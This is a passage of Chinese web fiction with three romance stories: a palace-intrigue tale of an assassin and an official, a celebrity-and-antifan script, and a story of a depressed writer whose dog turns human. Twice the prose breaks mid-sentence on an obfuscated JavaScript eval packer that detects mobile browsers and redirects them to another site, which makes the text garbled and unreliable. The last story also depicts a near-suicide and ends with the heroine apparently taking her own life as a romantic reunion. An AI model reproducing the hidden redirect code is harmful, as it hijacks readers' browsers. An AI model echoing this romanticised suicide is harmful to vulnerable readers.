虞岁揉了揉手腕,摆出一副我见犹怜的姿态,“可是……可是您说……那个人很可怕,我,担心您……” 丁年深吸一口气,长叹,“不要再有下次!” 虞岁有些委屈的嗫嚅,“好。” “在这等着,我去拿药”,丁年说完,走了出去。 虞岁慢慢的坐起来,丁年啊,我有份量了么? “上柱国大人,最近学药理,有的地方我不明白。” “怎么?” 虞岁的声音很轻,“有些药材,明明是毒药,却能救人;有些药材明明无毒,却能要人性命。” “世间万物,皆具两面性,毒药与良药,不过一线之隔,用之得当,毒药亦能救人;用之不当,无毒之物也能夺命。药理如人心,毒药与无毒之物的界限本就模糊,全看使用之人的目的与手段 ,救人还是害人,皆在一念之间。” “上柱国大人,这是您第一次说这么多话”,虞岁看了眼若有所思的丁年,继续说:“药理之道,恰似这朝堂权谋,看似无害之物,若被心怀不轨者利用,也能成为致命杀招;而看似危险的毒药,在良医手中,却能治病救人,关键在于把握其中的度。” 年关将至,丁年突然变得忙起来。 “主子,都安排好了,宫里的人也传了信,凉王已经开始布局了。” “外头的亲兵什么动作?” “兵马大元帅和枢密使汇兵的话,能有二十万,再加上主子您的五万,一共二十五万,对上大司马的十五万绰绰有余。” “嗯,去配合吧”,半晌不见鬼七动作,丁年又问,“怎么了?有什么话就说。” “主子,选谁去?” “你想说什么?” “这批女孩子能用的都用了,现下可用又合适的,就剩虞岁了,您,不能心软。” “心软?” “主子,咱们为了这一天,前赴后继了近二十年,不能再等了。” 良久,丁年幽幽的声音响起,“去准备吧。” 人啊,怎么也没办法两全吧? 虞岁看着鬼七端进来的喜服,有些疑惑,“这是?嫁衣?” “主子给你准备的新衣服。” 是夜,丁年回到房中,一眼就看到了穿着喜服的虞岁,有些呆愣。 虞岁掀开珠帘盖头,“上柱国,你回来了?” “嗯”,丁年应声,走到烛火架前坐下,烛光跳动中虞岁的身影飘忽不定,丁年伸手,想抓住点什么。 然后他发现,有些东西,不是他想抓就能抓住的;有些事情,不是他想控制就能改变走向的。 虞岁走到丁年面前转了一圈,“丁年,你看,我好看么?” “你,叫我什么?” “丁年,可以么?” 这个名字,有很久没有听过了。 也许是烛火耀眼的灼手,也许是烛火跳跃的让人心动,丁年听到自己的声音轻轻的响起,“好。” 虞岁凑到丁年旁边,扯着自己的袍袖盖到他的手臂上,“你看,你今天的衣服跟我的喜服颜色一样呢,感觉今晚好像是我们的花烛夜。” 丁年的手心忽然就被跃动的烛火灼了一下,花烛夜么? 烛火烫了掌心,也灼了心,如今局势复杂,前路未知。 很多东西不能碰,很多心思不该动。 “这个样式不适合你,换掉吧”,说完,他站起身快步走了出去。 虞岁坐在原地很久,缓缓的勾起嘴角,“丁年。” 我的吉服跟你的甲胄颜色一样,权当我,嫁过你了。 做个了结吧。 “主子,明晚是一次机会,宫内的布局和城中的布防图都确认过了。” “城防安排呢?” “尽在掌握。” “盯住,不要出任何岔子。” “主子,要安排虞岁去大司马府么?” “鬼七,你跟了我多久?” “十几年了吧。” “你觉得,咱们起事是为了什么?” “您说过,为了还边境将士一片乐土,为了还天下百姓一个安居乐业。” “虞岁,也是百姓。” 鬼七扑通跪地,“主子,过往所有的孤儿都是百姓,您不能因为您的私心,罔顾大局!” 丁年身形一晃,原来,他见不得光的私心,已经在不知不觉间,这么明显了么? “下去吧。” “主子,大局为重啊!” 丁年咬着牙,声音中满是森森冷意,“现在这种微妙的时局,童瑾会没有防备么?让虞岁去,不是让她去送死么?” “虞岁在同批孤儿里,资质一直是最好的,是您一次一次的留下她,您还记得我妹妹么?她也是死在大司马府,属下从不后悔唯您马首是瞻,我妹妹,到最后,都觉得自己死得其所。就连主子您自己,不也是随时准备赴死么?为什么虞岁不可以呢?” 是啊,为什么呢?也许是突然意识到,有些事,不该由她们以身入局。 可说到底,身在乱世,哪里不是局呢? 丁年枯坐了一夜,想不通,找不到破局之法。 在丁年眼里,世人只分三种,有用的,没用的,和,虞岁。 天光微熹的时候,虞岁出现在丁年面前,“丁年,我要走了,天冷了,你多加件衣服。” “虞岁,上次有个问题我还欠你句答复,会可怕。” 虞岁把手臂上的摊子扔到丁年身上,“你这样就没意思了,你知道我等这一天等多久了么?” 丁年猛的抬头,皱着眉,“你在说什么?” 虞岁自顾自的说:“装了这么久的乖,你都看不到我,也挺累的,我一直都知道,童瑾喜欢什么样的女孩子,等了这么久,你也没有动作,你做事,天真的令人发笑。” “你觉得我可笑?” “不然呢?童瑾掌兵权十多年,贪婪残暴,鱼肉百姓,临门一脚的时候你意气用事,不可笑么?我全家上下几十口一夜之间血流成河,你现在畏手畏脚,不可笑么?你最初培养我们这批刺客为的就是一点飞蛾扑火式的可能,你现在下不了决定,不可笑么?” “虞岁,你不明白。” “你没有经历过,不明白的是你。” “我认贼作父,我不明白?” 就这一句话,虞岁的心好像被细细长长的针密密麻麻的扎满了。 她扑进丁年的怀里,颤抖着,吻住了他……像是要用这个吻,把彼此破碎又滚烫的灵魂紧紧黏合。 周遭的一切轰然崩塌,化作一片混沌的星云。 丁年的手轻轻抚上她的背,那细腻的触感,像在触摸一泓温热的湖水,却又泛起层层慌乱的涟漪。 她的呼吸急促而滚烫,喷薄在丁年脖颈,如燎原的野火,瞬间点燃了他的理智。 他闭上眼,沉溺在这无尽的温热里,心跳声愈发急促,似要冲破胸膛。 空气仿佛都被这炽热的情感煮沸,光影在他们身上肆意扭曲、变幻,时而明亮如白昼,时而又被浓稠的黑暗吞噬。 衣物的摩擦声,在这暧昧的氛围里,成了最动人的旋律,一下又一下,撩拨着两人紧绷的心弦。 他们在这意识的漩涡中不断下沉,分不清东南西北,也辨不明今夕何夕。 只剩下彼此的温度、气息,和那汹涌澎湃、无法抑制的爱意,裹挟着他们,向着未知的深渊,永不停歇地、无限往复的升起、坠落。 故事的开始,是丁年说:“没有价值的人,不配呆在我身边,收起你的眼泪,不要企图得到我的怜悯。” 故事的结束,是虞岁说:“丁年,你别后悔,就这样走下去。” 观良二十二年,凉王起事,会同上柱国丁年、兵马大元帅、枢密使,勤王清君侧,剑锋直指奸宦童瑾。 事成,賊宦童瑾死于凌迟,其党羽被连根拔除。 至此,人称立皇帝权倾内外的童瑾终于消失在百姓的欢呼声中。 虞岁在人声鼎沸中,泪流满面,丁年,你看到了?再等一等我,就去陪你。 丁年闭上眼的最后一幕是,他和虞岁,红烛,红盖头,红吉服…… 秋千水,竹马道,一眼见你,万物不及。 我叫丁予。 从我记事起,就跟照顾我的管事嬤嬤生活在这个海岛。 嬤嬤说,我阿娘是整个观良王朝最美的公主,我阿爹是王朝最英勇的执锐上柱国。 所有对于爹娘的记忆,都是从嬤嬤的叙述里拼凑出来的。 直到有一天,我在藏书阁最上面的架子上发现一个大木盒。 我才有幸,隔着层层叠叠的书信手札,参与到阿爹阿娘的故事里。 这些书信手札里面,是阿爹没有寄出去的思念。 “我第一次见你,你的眼神,让我想起了遥远的自己,遥远到我自己都记不起来的自己。” “原来你叫虞岁,岁岁年年的岁,年年,是丁年的年么?” “虞岁,嫁衣很美,跟你的人一样美,你说很像花烛夜,私以为,这就是花烛夜,翘首以盼与卿相伴,岁岁年年。” “虞岁,若不是生逢乱世,我和你,都不会这么辛苦,我们会以什么样的方式相逢?若我身死,莫要悲恸。你生性纯善,往后余生,定要寻一安稳之处,春日观花,夏日听蝉,秋日赏枫,冬日看雪,莫要辜负这大好时光。 若有来生,无论多难,我定会在茫茫人海中,第一眼便认出你,回到你身边,与你再续前缘,不负相思意。” 原来,虞岁丁年,是年年有虞,岁岁同舟的隐喻。 而我,丁予的丁,是丁年的丁,予是岁岁予你的予。 木盒的底层还有一盒香粉,丁予问过嬤嬤,她说这香叫雪中春信。 阿爹,阿娘,你们在另一个世界,团聚了么? 找到彼此了么? 过的好么? 虞岁,汝或觉匪夷所思,或觉荒诞不经,然吾可断言,然自吾初逢卿面,卿便深植吾心,自此,情思难断 。 纸短情长,书不尽言。 22.虞岁,你是白月光 场景(中景近景):光影重重的化妆间。 经纪人(拎着咖啡和甜点,推开化妆间的门,语气有些急切):岁岁,看微博了么? 虞岁(停下挑衣服的动作,一脸疑惑):没啊,怎么了? 经纪人(走到虞岁身边,神色着急):就你最近那个黑粉,特意开了个站,专门发你的照片。 虞岁(继续挑衣服,满不在乎):哦,那怎么了?你看我搭的这套怎么样? 经纪人(把咖啡和甜点放在一旁,双手叉腰):诶哟我的宝宝啊,知道你一直以来都是捂着耳朵向前冲,不在乎外界这些黑照,但你好歹也看一眼。 虞岁(放下衣服,接过经纪人手里的手机,翻看着,脸上露出笑容):比我想象的好很多,这种程度的不算什么,你知道的,我向来是不需要谁说我好,也不怕谁觉得我不好。 经纪人(无奈地叹了口气,一屁股坐在沙发上):话是这么说,可总归影响不好。这黑粉的站子最近涨粉还挺快,万一被更多人带节奏,到时候舆论对你不利,广告商那边说不定又要出幺蛾子。之前咱们接的那个高奢代言,品牌方可看重形象了,要是因为这事有变动,损失可就大了。 虞岁(坐到经纪人旁边,伸手拍了拍她的肩膀,神色轻松):别担心,我心里有数。娱乐圈本来就是个是非之地,有黑有红才正常。至于这些负面声音,大家都有脑子,时间长了,自然就看明白了。你就当这黑粉给我免费宣传了。 助理(匆匆跑进来,神色焦急):岁姐,品牌方临时说要提前拍摄,车已经在楼下等了。 虞岁(立刻起身,利落地整理了下衣服,把手机还给经纪人):行,走吧。这点小风浪,翻不翻得起水花还不一定呢 ,犯不着为这事儿分心。 场景(中景近景特写):光线明亮的工作室,电脑屏幕闪烁着微光 (丁年坐在电脑前,正处理着一些琐碎事务。小助理满脸兴奋,手里拿着手机,屏幕上是虞岁个站的数据页面,快步跑到他身边。) 小助理(语速飞快,语气激动):丁哥,丁哥!你弄的那个虞岁的个站,热度涨得超级快!她好多对家都下场了,甚至还有找你合作的呢! (丁年原本漫不经心,听到这话,手上动作停下,微微皱眉,疑惑地看向小助理。 ) 丁年(语气疑惑,略带警惕):合作?合作什么?你丁哥看起来缺那个钱么? 小助理(挠挠头,脸上露出不解的神情,看着丁年):我也不太清楚,对方没细说,但就是很有诚意的样子。 (丁年靠在椅背上,陷入思索状,表情有些凝重,他自己也不知道搞这个个站是为了什么。) 丁年(低声喃喃自语):大概是不喜欢浓妆艳抹的女明星? 小助理(歪着头,一脸懵懂,继续追问丁年):可是丁哥,浓妆艳抹的女明星多了去了,为什么偏偏针对虞岁啊? (丁年微微一怔,是啊,跟某些比,虞岁根本不算浓妆艳抹,他眼神有些放空,似乎陷入了回忆,过了一会儿,缓缓开口。) 丁年(眼神柔和下来,声音不自觉放轻):我也说不清,她不一样,她……不一样。 (丁年的眼神中有一丝恍惚,嘴角微微上扬,露出一抹不易察觉的微笑。) 丁年(轻声,像是在回忆往事):两年前遇到过太惊艳的人,虞岁呢,身上有股子清冷的气质,很像她。所以我神经质的不喜欢她化妆。 小助理(一副吃到大瓜的惊讶表情):不是吧丁哥,什么年代了,您还搞替身梗那套? 丁年(饶有兴致的看着他):什么替身?那是你哥白月光。 场景(全景中景特写):(陷入回忆)两年前的私人展馆 丁年去取定制的衬衫,路过婚纱展示区,不经意间瞥见那个女孩。 展馆的灯光像是被施了魔法,毫无保留地倾洒在女孩身上。 丁年的心脏开始不受控制地剧烈跳动,周围的一切瞬间变得模糊,整个世界仿佛只剩下那个熠熠生辉的她。 清清冷冷又闪闪发光,身后的喧嚣是她的背景板,只一眼就叫人因她方寸大乱。 只一眼,他就挪不开视线了。 场景(全景中景近景特写):晚宴大厅 小助理(语气兴冲冲的又有些不好意思):丁哥,这场晚宴的邀请函卡的级别挺高,我搞不到入场券,咱要拍虞岁只能在外场,进不去。 丁年(满不在乎的挑眉):没事,我换个身份就进去了,你忙你的去吧。 小助理(满脸疑惑):丁哥,有个问题我真是忍不住想问,你说你图什么呢?你也不是这个圈的,也不图钱,看上去一直黑虞岁,可每次有她的活动,你比谁跑得都快,还想尽办法靠近她,这到底怎么回事啊?我实在想不明白。 丁年(叹口气,像是回答问题又像是自言自语):你说,总看着一个人,是不是眼睛里就再也容不下旁人了? (晚宴大厅两架透明电梯,交错间,虞岁和丁年一上一下 上行电梯门缓缓打开,虞岁抱臂倚靠在电梯里,妆容精致,烈焰红唇,肤白胜雪,气场强大。 目光飘忽的扫到下行电梯里的丁年,那眼神仿佛在看一只微不足道的蝼蚁,满满的不可一世。 电梯到达一楼,丁年深吸一口气,稳步走出。 他整理了一下自己的领带,装作若无其事地在晚宴大厅穿梭,目光却始终若有若无地追寻着虞岁的身影。 而虞岁从电梯出来后,便被一群身着华服的名流簇拥着,她嘴角挂着得体的微笑,周旋在人群之中。) 丁年(佯装不经意地靠近,在路过虞岁身边时,故意碰到了她手中的酒杯):“不好意思。”(脸上却没有丝毫歉意。) 虞岁(良好的涵养不会破功,她看着丁年):“这位先生,让让。” 丁年(凑近她,轻声细语):“你比较适合淡妆,不施粉黛会更美。” 虞岁(脸上始终挂着得体的微笑,说出的话却像软刀子一样):“这位冒昧的先生,你是什么表演型人格么?我和你,好像是初次见面。” 丁年(微微一怔,神情有几分玩世不恭,眼中闪过一丝复杂的情绪):“你跟我确实是初次见面,但我对你却是久仰大名,如数家珍。” 虞岁(表情不变,眼神里写着明晃晃的神经病三个字):“哦,那你记性真好。” 丁年(举了举高脚杯):“敬你的初次见面。” 虞岁(象征性的抿了一口,然后把酒杯放到一旁的桌子上):“玩的愉快,先走一步。” 场景(远景近景特写):下着雨的拍摄现场 小助理(手里擦拭着器材,眼睛不停的瞄向门口):“丁哥,虞岁出来了。” 丁年(听他这么说迅速拉开车门下车):“雨下的不小,你别下来了。” 小助理(赶紧翻出雨伞,却发现丁年出神的看着不远处虞岁的方向,有些不明就里):“丁哥,看什么呢?这么入迷?” 丁年(头好像转不回来了一样):“雨是越下越大了么?” 小助理(觉得莫名其妙):“并没有。” 丁年(雨不大,却有种如遭雷击的感觉):“原来是她,竟然是她。” 不远处的虞岁没有化妆,上车前不经意的看了一眼丁年的方向,时间好像定格住了,她的脸,跟丁年记忆里那张清冷的脸重叠,清晰。 场景(近景特写):私密性强的私人会所 丁年(笑容诚恳):“又见面了,虞小姐。” 虞岁(标准微笑,眼底深处晃过一丝不耐):“你好。” 丁年(有些手足无措):“这次大费周章的邀请你来有两件事情,一是想要道歉,二是想确定一件事。” 虞岁(保持着礼貌的微笑,眼中却透着冷淡,语气不咸不淡,带着一丝漫不经心和疏离):“丁先生,我的时间有限,希望你的道歉足够真诚,问题足够简洁。” 丁年(深吸一口气):“对不起,我为那个个站向你道歉,如果给你造成困扰,我愿意补偿你。” 虞岁(喝了口咖啡):“这一项暂时保留,你继续确定问题。” 丁年(有些小心翼翼):“两年前的揽忆私人展馆,有一件名为倾眸的礼服,是你定制的么?” 虞岁(略加思索):“嗯,是我,怎么了?现在你应该把这两件事串连起来展开说说。” 丁年(舔了舔嘴唇):“严格意义上来说,两年前在那家私人展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109898|162368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馆,是我第一次见你,那时候我不知道你是你,但是我因为你关注了你,后来的事你就知道了,我建了个站,但我没有发布过特别过分的内容。” 虞岁(虽然他说的语无伦次,但她莫名听懂了):“我是不是可以理解为,你对我一见钟情?然后开始黑我?你这个故事走向合理么?” 丁年(紧张的下意识咬手指):“可以这么理解,虽然一见钟情是真的,黑过你也是真的。” 虞岁(有些冷脸):“也就是说,你黑我是觉得我跟你记忆中的我不一致?你能辗转邀请到我,却查不到当初那个人是我?” 丁年(声音越来越小):“黑你的理由确实有点离谱……私人展馆对客户资料的保密性要求很高,而且着意去查也不礼貌。” 虞岁(原来生气也会想笑):“你黑我的出发点确实比其他人别致,你该庆幸没有过分到离谱,不然就等着收我的律师函吧。道歉吧,我接受。” 丁年(正襟危坐):“对不起,我错了,请你原谅。” 虞岁(微微颔首):“那就用你能想到的方式补偿吧。” 丁年(松了一口气):“好,到你满意为止。” 虞岁(看了眼时间):“还有别的事么?” 丁年(犹豫再三):“如果,如果以后我向你表白的话,能有个机会么?” 虞岁(深深的看了他一眼):“你把顺序搞错了。如果是陌生人,我根本不在乎,诚意满满的道歉之后我也许会原谅;但是对于追求者来说,道歉,我可能接受,但不代表我不生气。” 丁年(咽了下口水):“那什么时候能消气?” 虞岁(笑的凉薄):“看你表现,看我心情。” 丁年(认命的叹气):“明白了。” 场景(近景特写):办公室 小助理(看了一眼个站里丁年最新发布的公告和手写信很是意外):“丁哥,你这是什么操作?” (致虞岁女士以及一直支持她的粉丝们: 抱歉,由于我的出发点偏激,导致我拍摄的虞岁女士的照片过于片面,在有心人的恶意揣测引导和狭隘的认知蒙蔽下,这些内容在网络上广泛传播,不仅对虞岁女士的名誉造成了难以估量的损害,还误导了众多网友,让大家对她产生了错误的认识。 如今,当我拨开层层迷雾,看清事实的真相后,内心满是悔恨与自责。我深知,我的所作所为背离了基本的道德准则和做人底线,给虞岁女士带来的伤害犹如利刃,深深刺痛了她,也刺痛了所有真正了解她、爱护她的人 。 在此,我怀着最诚恳、最愧疚的心情,向虞岁女士致以我最真挚、最深切的歉意。我知道,一句简单的道歉无法立刻消除我曾经的过错带来的影响,但这是我迈出弥补错误的第一步。 我会立刻采取行动,删除个站里所有虞岁女士的相关影像,绝不留下任何伤害她的痕迹。同时,我郑重承诺,未来无论是在网络世界还是现实生活中,我都坚决维护她的名誉和尊严。 无意占用公众资源,请大家将炮火对准我。) 丁年(如释重负的笑笑):“诚意满满的道歉,恢复虞岁名誉。” 小助理(不太理解):“说实在的丁哥,你这个站里不过就是些她妆造艳丽的照片,根本算不上黑照,而且大部分还真挺出片的。” 丁年(笑的有点高深莫测):“你不懂,无论如何,我最开始的出发点就是错的。错了,就要认,态度,得端正。” 小助理(鼓起勇气问):“丁哥,你是不是看久了,看出感情来了?” 丁年(有点不好意思):“虞岁她,就是我上次说过的那个白月光。” 小助理(嗅到了八卦的味道):“这么戏剧化么?我说怎么突然搞这一出,闹了半天是在哄人啊。” 丁年(轻轻摇头):“道歉是哄人的先决条件,但不是哄人的手段。我惹她生气了,就应该道歉,这是必要的前提,不过,就是不惹她生气,一生多哄哄她也是应该的。” 小助理(笑着打趣):“真没看出来我丁哥还是个痴情的主儿。” 丁年笑而不语,这条路,来日方长。 虞岁,旧时初遇,一眼沉沦,自此,白月光是你,朱砂痣也是你。 23.丁年,等下一个春暖花开 「抑郁障碍诊疗报告 一、患者信息 姓名:虞岁 性别:女 年龄:28 职业:撰稿人 就诊日期:7月20日 二、主诉 情绪低落、兴趣减退、精力下降3月,加重3周。 三、现病史 近3个月,患者毫无缘由陷入情绪的低谷,曾经热衷的爱好无法激起其内心波澜,失去对生活热情的开关。日常倾向于离群索居,精力大不如前,头疼,心脏疼,身体和精神被抽去力量,变得疲惫不堪,近3周症状加剧,失眠早醒,食欲下降,体重减轻5公斤,自责自罪,对未来绝望,偶有轻生念头。 四、既往史 无重大躯体疾病、药物过敏及精神疾病家族史。 五、精神检查 表情愁苦、动作迟缓、反应慢,情绪低落易流泪,思维迟缓,多消极观念,注意力不集中、记忆力减退,自知力存在。 六、辅助检查 1. 心理测评:汉密尔顿抑郁量表(HAMD)20分,提示中度抑郁; 症状自评量表(SCL - 90),抑郁因子3分,多项因子异常。 2. 实验室检查:血常规、甲状腺功能等正常。 3. 脑部影像:头颅CT、MRI无异常。 七、诊断 中度抑郁障碍。 八、治疗方案 1. 药物:氟西汀,每日20mg,早餐后服,按需调整剂量。 2. 心理:认知行为疗法,每周1次,每次60分钟。 3. 生活:规律作息,适度运动,家人陪伴支持,参与社交。 九、随访 2周后复诊,后续1 - 3个月随访一次。」 虞岁捏着药袋子,出神的盯着报告单上中度抑郁四个字。 行吧,就这样吧。 手机一阵响动,虞岁看着来电提醒,心里咯噔一下,熟悉的窒息感传来,她犹豫了一下,接起,电话那端连珠炮似的问题砸过来: “听说你去看医生了?结果怎么样?你什么时候回家?你下次再回来不要买一堆东西,根本吃不完,算了,你没事就不要回来了,你在听吗?说话啊。” 虞岁咽了咽口水,有些艰涩的开口:“诊断说是中度抑郁。” “抑郁?抑郁个什么劲啊?都是唬人的说法。我说你啊,就是闲的,多出去晒晒太阳,接触接触人,干点重活,累了就好了!” 虞岁深吸一口气,声音有些飘忽,语气中染上几缕说不清道不明的悲凉,“妈,我生病了,我的心生病了。” “心生病了?我说你都快奔三的人了,怎么还这么矫情?什么时候能让我省省心?!啊?当初离婚的时候就不应该带你回来,辛辛苦苦供你,大学的时候选专业也不听我的!让你选个离家近的工作也不听!净交些不三不四的朋友!太较真!我们那时候哪有抑郁这一说!” “嗯,你说的对,岂止是当年,再往回倒倒,你生我,就多余。可惜,我从来都没得选。” “多余搭理你!我告诉你啊,永远别回来,看见你就烦!” “嗯,好,挂了”,虞岁机械的说完,按断电话。 良久,有一滴水渍洇在治疗方案那行‘家人陪伴支持,参与社交’上。 虞岁抬头望天,阳光真的太刺眼了,这么大的太阳,这么好的阳光,照不到心里。 她蹲下身子,按住心口,隔着皮肉,只感觉里面的凉气都要渗出来了。 路边的草丛里有窸窸窣窣哼哼唧唧的微弱声音,虞岁循着声响看过去,眼前模糊一片,她用力挤了下眼睛,视线清晰之后就看到毛茸茸的一团……小狗? 等虞岁带着小狗检查完身体,打完疫苗,洗过澡窝在床上,被他湿漉漉的眼睛盯着,只觉得心里柔软的一塌糊涂。 “以后,我就叫你丁年好不好?丁年就是壮年的意思,丁年壮岁,岁岁年年,希望你永远处于壮年,陪我岁岁年年。丁年,喜欢么?” 丁年伸出小舌头,轻轻的舔了舔虞岁的掌心。 虞岁嘴角轻轻扯动,泛起一抹稍纵即逝的笑意,真好啊,这个世界上终于有一个东西,是完完全全属于她的。 只要她不抛弃他,他就永远属于她,只属于她。 她的手指轻柔地摩挲着丁年的脑袋,那细腻柔软的绒毛,仿佛有一种神奇的魔力,能将她内心深处的伤痛一点点抚平。 丁年的到来,让虞岁枯水般的生活终于注入一丝生机。 他是她黯淡生活里唯一的光源,是她想紧紧握住的希望,同样的,她也是他的。 “丁年,我今天比昨天开心。” “丁年,我喜欢你每天亦步亦趋的跟着我。” “丁年,今天阳光真好,我带你出去晒太阳吧。” 日子在虞岁对丁年的一声声碎碎念和丁年给虞岁与日俱增的温暖里度过,不紧不慢的,让人沉溺的度过。 虞岁的生活在丁年的陪伴下,逐渐有了温度,文字里也开始源源不断地流淌出治愈的力量。 那些曾经被黑暗浸透的日子,似乎已经被她远远抛在身后。 然而命运的齿轮,却悄然转向了更为残酷的方向。 一个看似平常的傍晚,虞岁像往常一样坐在电脑前,聊天窗口弹出来,她随意地点开……恨自己能一目十行。 屏幕上那些恶毒的话语,如同一把把淬了毒的匕首,直直地刺进她深深藏起、不曾愈合的伤口上。 “还记得我么?以前那些事用不用我帮你回忆回忆?” “不好奇我怎么找到你联系方式的么?信息时代,你换号也没用。” “对了,听说你爸的死跟你有关?那边的人可正找你呢…” “从哪开始帮你回忆呢?初中?高中?还是大学?” “装死可没用哦。” 一字一句,都在疯狂地撕扯着她内心深处最脆弱的地方,过去那些被否定、被伤害的记忆,排山倒海般向她袭来,将她彻底淹没。 城市的喧嚣在她耳中逐渐模糊,变成了一种遥远而又悠长的嗡鸣声。 虞岁的手不受控制地颤抖着,呼吸也变得急促而沉重,每一口空气都像是尖锐的刀片,刮过她的喉咙。 精神防线在这一刻轰然崩塌,脑海中只有一个声音在不断回响:结束这一切,结束这无尽的痛苦。 她脚步踉跄地走进厨房,眼神恍惚地盯着橱柜上那把通身闪烁着森冷寒光的水果刀。 是来自黑暗深渊的召唤,释放着解脱的信号。 手臂不受控制地缓缓抬起,刀刃在黯淡的光线下泛着狰狞的光芒,一寸一寸地挨近手腕。 虞岁能感觉到腕上青细的血管在叫嚣着、迫不及待想拥抱锋利的刀刃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118180|162368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 距离手腕只剩毫厘,只要再轻轻一用力,所有的痛苦都将终结。 她的呼吸急促而沉重,像是即将溺亡之人的挣扎。 就在这生死一线的时刻,伴随着灼目的光芒,一阵尖锐而急促的狗叫声从门口传来…… 虞岁下意识地闭上双眼,待光芒渐渐消散,她缓缓睁开眼,眼前的景象让她呆立当场——丁年,竟变成了一个人。 身形挺拔,皮肤白皙,一头柔软的头发微微卷曲,眼神中满是无尽的温柔与焦急。 他几步冲上前,猛地夺下虞岁手中的刀,哐当一声扔在地上,顺势踢了一脚,踢的远远的,随后紧紧地将她拥入怀中,仿佛要用自己的怀抱为她筑起一道抵御世间所有伤害的屏障。 “别怕,我在,不要丢下我”,他的声音低沉而温暖,如同春日里最和煦的微风,轻轻拂过虞岁狂乱的心海,让她原本濒临崩溃的情绪渐渐平复下来。 她转身扑进丁年的怀里,感受着他强有力的心跳,破碎的情绪和理智一点点回笼。 “丁年,我曾努力想要爱上这个世界。” “可以不爱这个世界,但要爱你自己,好吗?” 她终于,可以毫无顾忌的哭一次。 “虞岁,你知道吗?每次你摸我的头,我都觉得好幸福。你笑起来的样子,是我见过最美的风景,多笑笑好不好?我会一直陪着你。” “虞岁,我最喜欢待在你身边啦。你就是我的全世界,不管遇到什么,我都会紧紧跟着你,你不是一个人,还有我呢 。” “虞岁,别不开心啦。你是我最重要的人,不管什么时候,只要你抱抱我,我就能把我的快乐都传递给你。” “虞岁,你难过的时候我也好难过。你就像我的小太阳,虽然有时候会被乌云遮住,但我知道,你很快就会重新发光的,我等你。” “虞岁,夜晚很黑,但你别怕。我会紧紧挨着你,用我的温度驱散你心里的寒意,我们一起等待天亮,迎接每一个新的美好。” 台历一天天翻页,虞岁的气色慢慢变好,阳光似乎也越来越好。 “虞岁呀,今天阳光很好,我们一起出去走走吧,我想和你晒晒太阳,把所有的坏心情都赶跑。” 死亡总是来的很平静又猝不及防,阳光越来越温暖,丁年的身体渐渐变冷…… “丁年,你骗我,你答应过我要陪我到最后的。” 原来,人心死了,就没有情绪起伏了。 丁年虚弱的笑笑,“抱歉岁岁,我食言了,上次化形,心脏和寿命超负荷了,见你,是我偷来的时间。” “你欠我一个岁岁年年。” 丁年意识彻底消失前的最后一句话是:“等下一个春暖花开,我还会回来。” 虞岁平静的给他换好衣服,平静的安葬他,最后,平静的坐在他的墓前。 这个世界阳光太刺眼了,在永夜来临之前,丁年,你说你见过最美的风景是我,这句话应该我来说,我见过最美的风景在你望向我的眼中。 “我等不及了。” 永夜前的世界,是红色的。 你在,治愈我,你走,治郁我。 你欠我一个岁岁年年,我欠你一个春暖花开。 你好, 谢谢, 对不起, 不原谅, 不再见, 永别, 这糟糕的一切。